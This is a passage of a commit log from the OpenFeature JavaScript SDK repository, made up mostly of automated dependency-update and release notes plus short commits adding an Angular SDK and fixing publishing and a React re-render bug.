[`v17.5.3`](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/eslint-plugin-template)</summary>

###
[`v17.5.3`](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/schematics)</summary>

###
[`v17.5.3`](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

</details>

<details>
<summary>angular-eslint/angular-eslint
(@&#8203;angular-eslint/template-parser)</summary>

###
[`v17.5.3`](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

[Compare
Source](https://redirect.github.com/angular-eslint/angular-eslint/compare/v17.5.2...e2006e5e9c99e5a943d1a999e0efa5247d29ec24)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC43NC4xIiwidXBkYXRlZEluVmVyIjoiMzguNzQuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-09-29 20:42:11 +00:00
renovate[bot] c0d155bdda
chore(deps): update nest monorepo to v10.4.4 (#955)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`10.4.1` ->
`10.4.4`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.1/10.4.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`10.4.1` ->
`10.4.4`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.1/10.4.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`10.4.1` ->
`10.4.4`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.1/10.4.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [@nestjs/testing](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing))
| [`10.4.1` ->
`10.4.4`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.1/10.4.4)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.1/10.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v10.4.4`](https://redirect.github.com/nestjs/nest/compare/v10.4.3...5ae7e0f21414c907988ccb4798edee1a677e8554)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.3...v10.4.4)

###
[`v10.4.3`](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

###
[`v10.4.2`](https://redirect.github.com/nestjs/nest/compare/v10.4.1...696b4410a35a915a61f7bb58f87d7ac5b3e267e6)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.1...v10.4.2)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

###
[`v10.4.4`](https://redirect.github.com/nestjs/nest/compare/v10.4.3...5ae7e0f21414c907988ccb4798edee1a677e8554)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.3...v10.4.4)

###
[`v10.4.3`](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

###
[`v10.4.2`](https://redirect.github.com/nestjs/nest/compare/v10.4.1...696b4410a35a915a61f7bb58f87d7ac5b3e267e6)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.1...v10.4.2)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

###
[`v10.4.4`](https://redirect.github.com/nestjs/nest/compare/v10.4.3...5ae7e0f21414c907988ccb4798edee1a677e8554)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.3...v10.4.4)

###
[`v10.4.3`](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

###
[`v10.4.2`](https://redirect.github.com/nestjs/nest/compare/v10.4.1...696b4410a35a915a61f7bb58f87d7ac5b3e267e6)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.1...v10.4.2)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

###
[`v10.4.4`](https://redirect.github.com/nestjs/nest/compare/v10.4.3...v10.4.4)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.3...v10.4.4)

###
[`v10.4.3`](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.2...v10.4.3)

###
[`v10.4.2`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.2)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v10.4.1...v10.4.2)

#### v10.4.2 (2024-09-16)

##### Dependencies

- `common`, `core`, `microservices`, `platform-express`,
`platform-fastify`, `platform-socket.io`, `platform-ws`, `testing`,
`websockets`
- [#&#8203;13911](https://redirect.github.com/nestjs/nest/pull/13911)
chore(deps): bump tslib from 2.6.3 to 2.7.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
-   `platform-fastify`
- [#&#8203;13938](https://redirect.github.com/nestjs/nest/pull/13938)
chore(deps): bump light-my-request from 5.13.0 to 6.0.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
-   Other
- [#&#8203;13936](https://redirect.github.com/nestjs/nest/pull/13936)
chore(deps-dev): bump lint-staged from 15.2.9 to 15.2.10
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13946](https://redirect.github.com/nestjs/nest/pull/13946)
chore(deps): bump webpack and
[@&#8203;nestjs/cli](https://redirect.github.com/nestjs/cli) in
/sample/02-gateways
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13947](https://redirect.github.com/nestjs/nest/pull/13947)
chore(deps-dev): bump webpack from 5.91.0 to 5.94.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13966](https://redirect.github.com/nestjs/nest/pull/13966)
chore(deps): bump dset from 3.1.2 to 3.1.4 in
/sample/32-graphql-federation-schema-first/gateway
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13967](https://redirect.github.com/nestjs/nest/pull/13967)
chore(deps): bump dset from 3.1.3 to 3.1.4
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13968](https://redirect.github.com/nestjs/nest/pull/13968)
chore(deps-dev): bump
[@&#8203;commitlint/cli](https://redirect.github.com/commitlint/cli)
from 19.4.0 to 19.5.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13969](https://redirect.github.com/nestjs/nest/pull/13969)
chore(deps-dev): bump mongoose from 8.6.0 to 8.6.2
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13973](https://redirect.github.com/nestjs/nest/pull/13973)
chore(deps-dev): bump
[@&#8203;types/node](https://redirect.github.com/types/node) from 22.5.1
to 22.5.5
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13922](https://redirect.github.com/nestjs/nest/pull/13922)
chore(deps): bump
[@&#8203;apollo/gateway](https://redirect.github.com/apollo/gateway)
from 2.2.3 to 2.9.0 in
/sample/31-graphql-federation-code-first/users-application
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13921](https://redirect.github.com/nestjs/nest/pull/13921)
chore(deps): bump
[@&#8203;apollo/query-planner](https://redirect.github.com/apollo/query-planner)
from 2.4.8 to 2.9.0 in
/sample/31-graphql-federation-code-first/posts-application
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13926](https://redirect.github.com/nestjs/nest/pull/13926)
chore(deps-dev): bump mongoose from 8.5.3 to 8.6.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13928](https://redirect.github.com/nestjs/nest/pull/13928)
chore(deps-dev): bump
[@&#8203;types/node](https://redirect.github.com/types/node) from 22.5.0
to 22.5.1
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13929](https://redirect.github.com/nestjs/nest/pull/13929)
chore(deps-dev): bump
[@&#8203;commitlint/config-angular](https://redirect.github.com/commitlint/config-angular)
from 19.3.0 to 19.4.1
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13893](https://redirect.github.com/nestjs/nest/pull/13893)
chore(deps-dev): bump
[@&#8203;typescript-eslint/eslint-plugin](https://redirect.github.com/typescript-eslint/eslint-plugin)
from 7.18.0 to 8.2.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13896](https://redirect.github.com/nestjs/nest/pull/13896)
chore(deps-dev): bump husky from 9.1.4 to 9.1.5
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13897](https://redirect.github.com/nestjs/nest/pull/13897)
chore(deps-dev): bump core-js from 3.38.0 to 3.38.1
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13901](https://redirect.github.com/nestjs/nest/pull/13901)
chore(deps-dev): bump
[@&#8203;types/node](https://redirect.github.com/types/node) from 22.3.0
to 22.5.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13902](https://redirect.github.com/nestjs/nest/pull/13902)
chore(deps-dev): bump artillery from 2.0.19 to 2.0.20
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13884](https://redirect.github.com/nestjs/nest/pull/13884)
chore(deps-dev): bump mongoose from 8.5.2 to 8.5.3
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13885](https://redirect.github.com/nestjs/nest/pull/13885)
chore(deps-dev): bump lint-staged from 15.2.8 to 15.2.9
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- [#&#8203;13890](https://redirect.github.com/nestjs/nest/pull/13890)
chore(deps-dev): bump
[@&#8203;types/node](https://redirect.github.com/types/node) from 22.2.0
to 22.3.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))

##### Committers: 3

- Kamil Mysliwiec
([@&#8203;kamilmysliwiec](https://redirect.github.com/kamilmysliwiec))
- Micael Levi L. Cavalcante
([@&#8203;micalevisk](https://redirect.github.com/micalevisk))
-   [@&#8203;haouvw](https://redirect.github.com/haouvw)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4zOTMuMCIsInVwZGF0ZWRJblZlciI6IjM4LjgwLjAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIiwibGFiZWxzIjpbXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-09-29 22:43:09 +02:00
Lukas Reining cf4526f56a
chore: remove experimental from Nest.JS SDK (#1016)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

As discussed, I propose to remove the experimental from the Nest.JS SDK.
It is used in several orgs and the API works well there.

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-25 11:57:16 +02:00
Lukas Reining e86f18b5b6
fix(angular): fix version check for angular publishing (#1025)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

Fixes typo in angular sdk version check for publishing.

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-25 11:46:42 +02:00
OpenFeature Bot e6adae04a5
chore(main): release react-sdk 0.4.6 (#1022)
🤖 I have created a release *beep* *boop*
---


##
[0.4.6](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.5...react-sdk-v0.4.6)
(2024-09-23)


### 🐛 Bug Fixes

* failure to re-render on changes
([#1021](https://github.com/open-feature/js-sdk/issues/1021))
([c927044](c927044c49))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-09-23 17:40:13 -04:00
Michael Beemer c927044c49
fix: failure to re-render on changes (#1021)
## This PR

- maintains a reference to the latest evaluation details.

### Notes

The change to optimize the rendering behavior was comparing a stale
value.

https://github.com/open-feature/js-sdk/pull/987

This PR adds a [mutable
ref](https://reactjs.org/docs/hooks-faq.html#is-there-something-like-instance-variables)
that's updated every time the evaluation details are updated.

### Follow-up Tasks

This was manually tested. Unit tests will follow.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-09-23 17:39:30 -04:00
OpenFeature Bot baec2fb350
chore(main): release angular-sdk 0.0.3-experimental (#1014)
🤖 I have created a release *beep* *boop*
---


##
[0.0.3-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.2-experimental...angular-sdk-v0.0.3-experimental)
(2024-09-22)


### 🧹 Chore

* add npm keywords for angular
([#1015](https://github.com/open-feature/js-sdk/issues/1015))
([6b11165](6b11165aa1))


### 📚 Documentation

* **angular:** improve angular readme layout
([#1013](https://github.com/open-feature/js-sdk/issues/1013))
([ee52da9](ee52da9a01))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-09-22 15:11:13 +02:00
Lukas Reining 6b11165aa1
chore: add npm keywords for angular (#1015)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- adds keywords for angular

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-22 14:54:55 +02:00
OpenFeature Bot 7257b82a14
chore(main): release web-sdk 1.2.4 (#1019)
🤖 I have created a release *beep* *boop*
---


##
[1.2.4](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.2.3...web-sdk-v1.2.4)
(2024-09-20)


### 🧹 Chore

* **web:** bump core peer version
([#1018](https://github.com/open-feature/js-sdk/issues/1018))
([970335e](970335e92b))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-09-20 14:46:07 -04:00
Michael Beemer 970335e92b
chore(web): bump core peer version (#1018)
Bump core version to match the latest.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-09-20 14:31:43 -04:00
renovate[bot] 52bbf15222
chore(deps): update dependency @types/react to v18.3.7 (#1001)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| [`18.3.5` ->
`18.3.7`](https://renovatebot.com/diffs/npm/@types%2freact/18.3.5/18.3.7)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/18.3.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/18.3.5/18.3.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.3.5/18.3.7?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC41OS4yIiwidXBkYXRlZEluVmVyIjoiMzguODAuMCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-09-20 18:15:43 +00:00
Michael Beemer ee52da9a01
docs(angular): improve angular readme layout (#1013)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-09-17 11:54:59 -04:00
OpenFeature Bot 8bdc16430c
chore(main): release angular-sdk 0.0.2-experimental (#1012)
🤖 I have created a release *beep* *boop*
---


##
[0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.1-experimental...angular-sdk-v0.0.2-experimental)
(2024-09-14)


### 🐛 Bug Fixes

* copy license to package correctly
([#1011](https://github.com/open-feature/js-sdk/issues/1011))
([458d278](458d278345))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-09-14 09:02:10 +02:00
Lukas Reining 458d278345
fix: copy license to package correctly (#1011)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR

Copy license to package correctly

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-14 09:01:18 +02:00
OpenFeature Bot eb42c4c9e6
chore(main): release angular-sdk 0.0.1-experimental (#1010)
🤖 I have created a release *beep* *boop*
---


##
[0.0.1-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.2-experimental...angular-sdk-v0.0.1-experimental)
(2024-09-14)


###  New Features

* Angular SDK
([#997](https://github.com/open-feature/js-sdk/issues/997))
([105fd95](105fd95e34))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-14 08:46:25 +02:00
Lukas Reining 457099d946
fix: angular package publish (#1009)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Fixes publishing of Angular SDK package by not removing the version
scripts from the built package.json.
Also fixes SBOM generation by adding the angular subproject to
workspaces.

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-14 08:29:45 +02:00
OpenFeature Bot f74056c02b
chore(main): release angular-sdk 0.0.2-experimental (#1008)
🤖 I have created a release *beep* *boop*
---


##
[0.0.2-experimental](https://github.com/open-feature/js-sdk/compare/angular-sdk-v0.0.1-experimental...angular-sdk-v0.0.2-experimental)
(2024-09-13)


### 🐛 Bug Fixes

* fix release of angular sdk
([4a370cc](4a370cc73f))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-09-13 22:37:51 +02:00
Lukas Reining 4a370cc73f fix: fix release of angular sdk
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-13 22:31:31 +02:00
OpenFeature Bot ed3aaa48c0
chore(main): release angular-sdk 0.0.1-experimental (#1003)
🤖 I have created a release *beep* *boop*
---


## 0.0.1-experimental (2024-09-13)


###  New Features

* Angular SDK
([#997](https://github.com/open-feature/js-sdk/issues/997))
([105fd95](105fd95e34))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-09-13 15:41:05 +00:00
Lukas Reining 105fd95e34
feat: Angular SDK (#997)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

Adds an Angular SDK as discussed in #976.
It mainly provides directives that conditionally render based on flag
value and provider state.

I did not inject any OpenFeature service or anything like that, as I
think the directives will be the way to access feature flags in the
templates, and the OpenFeature global API can be used directly in
services. But I am not 100% sure on that one.

Happy to receive feedback and opinions :)

A small test app can be found here:
https://github.com/open-feature/angular-test-app
This can be used with [yalc](https://github.com/wclr/yalc).

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-09-13 15:13:35 +00:00
renovate[bot] 86e7103b14
chore(deps): update dependency jest-cucumber to v4 (#890)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [jest-cucumber](https://togithub.com/bencompton/jest-cucumber) |
[`^3.0.1` ->
`^4.0.0`](https://renovatebot.com/diffs/npm/jest-cucumber/3.0.2/4.5.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/jest-cucumber/4.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jest-cucumber/4.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jest-cucumber/3.0.2/4.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jest-cucumber/3.0.2/4.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>bencompton/jest-cucumber (jest-cucumber)</summary>

###
[`v4.5.0`](https://togithub.com/bencompton/jest-cucumber/blob/HEAD/CHANGELOG.md#450-2024-07-25)

[Compare
Source](https://togithub.com/bencompton/jest-cucumber/compare/v4.4.0...v4.5.0)

##### Features

- expose Options, ErrorOptions, ScenarioNameTemplateVars from
configuration
([6a9a8c3](6a9a8c36c4))

###
[`v4.4.0`](https://togithub.com/bencompton/jest-cucumber/blob/HEAD/CHANGELOG.md#440-2024-05-15)

[Compare
Source](https://togithub.com/bencompton/jest-cucumber/compare/v4.3.0...v4.4.0)

##### Features

- add basic done callback compatibility in steps
([91dc81c](91dc81c8d1))

###
[`v4.3.0`](https://togithub.com/bencompton/jest-cucumber/blob/HEAD/CHANGELOG.md#430-2024-05-13)

[Compare
Source](https://togithub.com/bencompton/jest-cucumber/compare/v4.2.0...v4.3.0)

##### Features

- **deps:** upgrade
[@&#8203;cucumber/gherkin](https://togithub.com/cucumber/gherkin) to v28
([f814610](f814610c03))

###
[`v4.2.0`](https://togithub.com/bencompton/jest-cucumber/blob/HEAD/CHANGELOG.md#420-2024-04-18)

[Compare
Source](https://togithub.com/bencompton/jest-cucumber/compare/v4.1.0...v4.2.0)

##### Features

- added runner compatibility that does not globally expose the
'describe' and 'test' methods
([f33a087](f33a087064))

##### Bug Fixes

- **loadFeature:** regression in loadFeature now corrected to consider
global options for relative feature file loading
([938bf7c](938bf7cad9))

###
[`v4.1.0`](https://togithub.com/bencompton/jest-cucumber/blob/HEAD/CHANGELOG.md#410-2024-04-03)

[Compare
Source](7307a458e9...v4.1.0)

##### Features

- **autoBindSteps:** add a context for sharing data between stages
([fb316ca](fb316ca23b))
- **autBindSteps:** add the ability to load a single feature via
autoBindStep
([942d31f](942d31f04e))

###
[`v4.0.4`](https://togithub.com/bencompton/jest-cucumber/compare/v4.0.1...7307a458e9f270fdcca6d7b7847b0d3775394af6)

[Compare
Source](https://togithub.com/bencompton/jest-cucumber/compare/v4.0.1...7307a458e9f270fdcca6d7b7847b0d3775394af6)

###
[`v4.0.1`](1a9ef75f56...v4.0.1)

[Compare
Source](1a9ef75f56...v4.0.1)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yNjkuMiIsInVwZGF0ZWRJblZlciI6IjM4LjU2LjAiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-09-05 14:18:07 -04:00
OpenFeature Bot e017300b79
chore(main): release react-sdk 0.4.5 (#1000)
🤖 I have created a release *beep* *boop*
---


##
[0.4.5](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.4.4...react-sdk-v0.4.5)
(2024-09-04)


